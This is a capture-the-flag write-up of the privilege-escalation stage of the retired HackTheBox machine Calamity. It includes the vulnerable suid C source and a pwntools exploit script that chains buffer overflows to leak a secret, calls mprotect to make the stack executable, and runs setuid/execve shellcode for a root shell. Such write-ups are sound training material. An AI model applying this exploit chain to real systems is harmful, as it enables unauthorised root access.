WRITE-UPS


HackTheBox

Calamity - PrivEsc Buffer Overflow Exploit - HackTheBox

This writeup is for one of the Retired boxes on HackTheBox called Calamity [1] and it is only focused on the Privilege Escalation part. Thus, I am only going to describe the process I followed in order to make the buffer overflow exploit work. You can check my Python script here [2].

Step 1 - Source Code Review

So, we are given a suid binary and a src.c file that contains the code for the suid binary.

Our goal is to try and exploit the suid binary, in such a way that will give us a shell as root. Looking at the src.c file we have

#define USIZE 12
#define ISIZE 4

struct f {
  char user[USIZE];
  int secret;
  int admin;
  int session;
}hey;

void flushit()
{
  char c;
  while (( c = getchar()) != '\n' && c != EOF) { }//flush input
}

void printmaps() {

  int fd = open("/proc/self/maps", O_RDONLY);
  if (fd==0) exit(1);
  unsigned char buffer[3000];//should be enough

  memset(buffer, 0, sizeof buffer);
  read(fd, buffer, 2990);
  close(fd);
  for(int i=0;i<3000;i++)
  {
    if (buffer[i]>127){buffer[i]=0;break;}	//dont print too much
  }
  printf("\n%s\n\n", buffer);
}

void copy(unsigned char * src, unsigned char * dst,int length) {

  FILE * ptr;
  ptr = fopen(src, "rb");
  if (ptr == 0) exit(1);
  fread(dst, length, 1, ptr);
  fclose(ptr);
}

void createusername() {
//I think  something's bad here
  unsigned char for_user[ISIZE];

  printf("\nFilename:  ");

  char fn[30];
  scanf(" %28s", & fn);

  flushit();
  copy(fn, for_user,USIZE);

  strncpy(hey.user,for_user,ISIZE+1);
  hey.user[ISIZE+1]=0;
}

char print() {

  char action = 0;
  printf("\n\n\t-----MENU-----\n1) leave message to admin\n2) print session ID\n3)login (admin only)\n4)change user\n5)exit\n\n action: ");
  fflush(stdout);
  scanf(" %1c", & action);
  flushit();

  switch (action) {
  case '1':
    return '1';
  case '2':
    return '2';
  case '3':
    return '3';
  case '4':
    return '4';
  case '5':
    return '5';
  default:
    printf("\nplease type a number between 1 and 5\n");
    return 0;
  }
  fflush(stdout);
}

void printdeb(int deb) {
  printf("\ndebug info: 0x%x\n", deb);
}

void debug() {

  printf("\nthis function is problematic on purpose\n");
  printf("\nI'm trying to test some things...and that means get control of the program! \n");

  char vuln[64];

  printf("vulnerable pointer is at %x\n", vuln);
  printf("memory information on this binary:\n", vuln);

  printmaps();

  printf("\nFilename:  ");
  char fn[30];
  scanf(" %28s", & fn);
  flushit();
  copy(fn,vuln,100);//this shall trigger a buffer overflow

  return;
}

void attempt_login(int shouldbezero, int safety1, int safety2) {
  if (safety2 != safety1) {
    printf("hackeeerrrr");
    fflush(stdout);
	  exit(666);
  }
  if (shouldbezero == 0) {
    printf("\naccess denied!\n");
    fflush(stdout);
  } else debug();
}

void printstr(char * s, int c) {
  printf("\nparam %s is %x\n", s, c);
}

int main(int argc, char * argv[]) {
  sleep(1);
  srand(time(0));
  int sess = rand();

  struct timeval tv;
  gettimeofday( & tv, NULL);

  int whoopsie = 0;
  int protect = tv.tv_usec | 0x01010101;//I hate null bytes...still secure!

  hey.secret = protect;
  hey.session = sess;
  hey.admin = 0;

  createusername();

  while (1) {
    char action = print();

    if (action == '1') {
      //I striped the code for security reasons !
    } else if (action == '2') {
      printdeb(hey.session);
    } else if (action == '3') {
      attempt_login(hey.admin, protect, hey.secret);
    }
    else if(action=='4') createusername();
    else if (action == '5') return;
  }
}

In the debug() function there is a scanf() function that reads input and then this gets copied to another array. The problem here is a buffer overflow vulnerability on the copy() function, due to the fact that we allow for more bytes to get copied than the actuall size of the array. Our exploit, is a bit easier when we reach this point because we are also provided with the address of the array and information from /proc/self/maps.

So, based on the above we need to find a way to jump to the debug() function. Looking at the attempt_login() function there is a call to debug(). However, in order to get there we need to fulfill a few requirements first.

void attempt_login(int shouldbezero, int safety1, int safety2) {
  if (safety2 != safety1) {
    printf("hackeeerrrr");
    fflush(stdout);
    exit(666);
  }
  if (shouldbezero == 0) {
    printf("\naccess denied!\n");
    fflush(stdout);
  } else debug();
}

We will need to pass the right values in the 3 arguments of attempt_login(). The specific function is called inside main(), if we pass "3" as input. In main() we have:

while (1) {
  char action = print();
  if (action == '1') {
  //I striped the code for security reasons !
  } else if (action == '2') {
    printdeb(hey.session);
  } else if (action == '3') {
    attempt_login(hey.admin, protect, hey.secret);
  } else if(action=='4') createusername();
    else if (action == '5') return;
}

As a result, we will need to tamper with hey.admin variable and make the value different than zero. Furthermore, we need the protect and hey.secret variables to have the same value. This is kind of tricky because in the main() function, right before the while(1) we have:

int sess = rand();
struct timeval tv;
gettimeofday( & tv, NULL);

int whoopsie = 0;
int protect = tv.tv_usec |0x01010101;//I hate null bytes...still secure !

hey.secret = protect;
hey.session = sess;
hey.admin = 0;

At the moment, the hey.admin variable gets initialized with zero and protect and hey.secret have the same value. Now, we need to investigate the code a bit further in order to identify if there is another vulnerability that we can exploit in order to change the values of the 3 arguments. Looking into main() there is the createusername() function.

void createusername() {
 //I think  something's bad here
 unsigned char for_user[ISIZE];
 printf("\nFilename:  ");
 char fn[30];
 scanf(" %28s", & fn);
 flushit();
 copy(fn, for_user,USIZE);
 strncpy(hey.user,for_user,ISIZE+1);
 hey.user[ISIZE+1]=0;
}

There is a scanf() function that reads a file's data and pastes them in the for_user array. The problem here is the for_user array is of ISIZE (4 bytes), whereas during the call of copy() it gets USIZE (12 bytes). There is a small buffer overflow issue here and as a result we will be able to pass extra bytes and overwite the return address. Doing a test run of the binary, using gdb-peda, we have the hey struct values:

0x80003068 hey:	        0x00000000	0x00000000	0x00000000	0x010fd59f
0x80003078 hey+16:	0x00000000	0x3aa9c802	0x00000000	0x00000000

The 0x010fd59f value is the value of hey.secret and protect. Then, at 0x80003078 is the value of admin, which is zero and next to it is the value of hey.session (0x3aa9c802).

In order to get into the debug() function we will need to change the value of hey.admin to anything besides zero. But, in order to do this and because of the way those 3 arguments are going to get into the stack, we will need to get the value of hey.secret or protect first.

Checking if any security protection is enabled. We have ASLR off

xalvas@calamity:~$ cat /proc/sys/kernel/randomize_va_space
0

and checksec in gdb-peda, shows that the stack is Not Executable. So, depending on the vulnerabilities we would either implement a ret2libc attack or we would go and make the stack executable.

Here, it is easier to make the stack executable again by calling mprotect().


Step 2 - Exploit Analysis


  • Leak the value of hey.secret using BoF in createusername()
  • Choose action 2 and print the value of hey.secret, instead of hey.session, due to above
  • Choose action 4, in order to change the value of admin
  • Choose action 3 and jump straight into debug()
  • Finally, pass the shellcode and return to mprotect() in order to make the stack executable

The first step would be to leak the value of hey.secret and in order to do that we are going to use the first call to createusername() and then call printdeb(hey.session), that takes place in main() by choosing action 2. Of course, instead of printing the value of hey.session we are going to use the buffer overflow vulnerability found in createusername() and pass the address of hey.secret. This can be accomplished by changing the value of the EBX to leak the hey.secret parameter instead of the hey.session.

In gdb-peda, at 0x80000e0d we have lea eax,[ebx+0x68] (before the first call to createusername()) and as a result EAX is getting EBX+0x68. This means that in order for us to drop into the hey struct (0x80003068) we need to return to 0x80003068 - 0x68. This will get us in the beginning of the hey.struct and then we would need to move 8 bytes to get into the hey.secret value (8 bytes is the distance between hey.secret and hey.session). So, the value to return to (a.k.a the value of EBX) is 0x80003068 - 0x68 - 0x8 = 0x80002ff8.

Before we get to printdeb() we have

So hey.session is in EBX + 0x68 + 0x14, but we need to get hey.secret which is 0x8 bytes before hey.session. That is why we substract an extra 0x8 bytes from the return address. The key information to remember here is the fact that we can control the value stored in EBX.

In order to do that I used Python and Pwntools. As a result, the first part of the exploit (as per my script in Github [2]) is:

# Step 1 - Send payload to get the hey.secret value #
# Address = 0x80003068 - 0x8 - 0x68 = 0x80002ff8
# (start of hey.struct minus 0x8 minus 0x68)
# You need to get the hey.secret value that is -0x8 from where hey.sess is
# plus -0x68 that gets added to the ebx register after the overflow
# This is stored in fileStep1 ("ABCDEFGH" + "0x80002ff8")

ret = struct.pack("< I", 0x80002ff8)
payload1 = "ABCDEFGH" + ret
fileStep1 = '/tmp/bazuka/fileStep1'
shell.upload_data(payload1, fileStep1)
remote.send(fileStep1 + '\n')

We need this in order to move to Step 2 of our exploit. Step 2, is the part where we provide action 2 as input in order to use printdeb(hey.session), but instead of printing the hey.session value, the binary will give us the hey.secret value. This happens because of the Buffer Overflow exploit we did earlier.

# Step 2 - Read & Store the hey.secret value
# Choose action 2
response = remote.recv(4096)
print(response)
log.info("Sending action 2")
remote.send('2 \n')

# Read & Store hey.secret value
response = remote.recv(4096)
print response

protect = int(response[13:22], 16)
log.info("The protect value is " + hex(protect) + "\n")

For Step 3 we need to choose action 4 and jump to the createusername() function again.

# Step 3 - Send payload to go to debug()
# Choose action 4
log.info("Sending action 4")
remote.send('4 \n')

# Filename
response = remote.recv(4096)
print(response)

# |--protect--|--admin--|--return address--|
# Right after the strncpy() in createusername(), EBX gets overflowed
# So we control the EBX value
# 0x80004978 - 0x68 - 0xc = 0x80004904
ret = struct.pack("< I", 0x80004904)
protect = struct.pack("< I", protect)
payload2 = protect + "AAAA" + ret

fileStep2 = '/tmp/bazuka/fileStep2'
shell.upload_data(payload2, fileStep2)
remote.send(fileStep2 + '\n')

We then choose action 3 in order to get into attempt_login().


# Choose action 3
response = remote.recv(4096)
print(response)
log.info("Sending action 3")
remote.send('3 \n')

# Are we in debug?
response = remote.recv(4096)
print response

At the moment we managed to move in the debug() function. As we discussed earlier the stack is not executable and so we will need to jump to mprotect() in order to enable execution. You can find extra information on how mprotect() works here [3,4].

Based on the information above the current status of the stack is

bfedf000-c0000000 rw-p 00000000 00:00 0 [stack]

So, in order to make it executable again we need to call mprotect(0xbfedf000,0x121000,0x7)

# Step 3 - Exploit
# Read and store the Vulnerable pointer location --- 0xbffffbf0
vulnAddress = int(response[144:152], 16)
print hex(vulnAddress)

shellcode = asm(shellcraft.setuid(0) + shellcraft.execve("/bin/sh"))

mprotectAddress = struct.pack("< I", 0xb7efcd50)  # mprotect() Address
p1 = struct.pack("< I", 0xbfedf000)               # Beginning of Stack
p2 = struct.pack("< I", 0x121000)	          # 0xc0000000 - 0xbfedf000 = 0x121000
p3 = struct.pack("< I", 0x7)	                  # Read, Write & Execute
ret = struct.pack("< I", vulnAddress)		  # Return to the beginning of the buffer
nops = (76 - len(shellcode)) * "\x90"

# Return to debug() to see if stack is executable now
# debug = struct.pack("< I", 0x80000c11)
# payload3 = "A" * 76 + mprotectAddress + debug + p1 + p2 + p3

# Final payload
payload3 =  shellcode + nops + mprotectAddress + ret + p1 + p2 + p3

fileStep3 = '/tmp/bazuka/fileStep3'
shell.upload_data(payload3, fileStep3)
remote.send(fileStep3 + '\n')

In my payload above you can see that the first thing I did was to go to mprotect() and make the stack executable and then return to the beggining of the buffer, where my shellcode was.

I got the Calamity badge too!!

References

[1] HackTheBox
[2] Calamity PrivEsc exploit script
[3] mprotect() Man Pages
[4] Extra information on mprotect()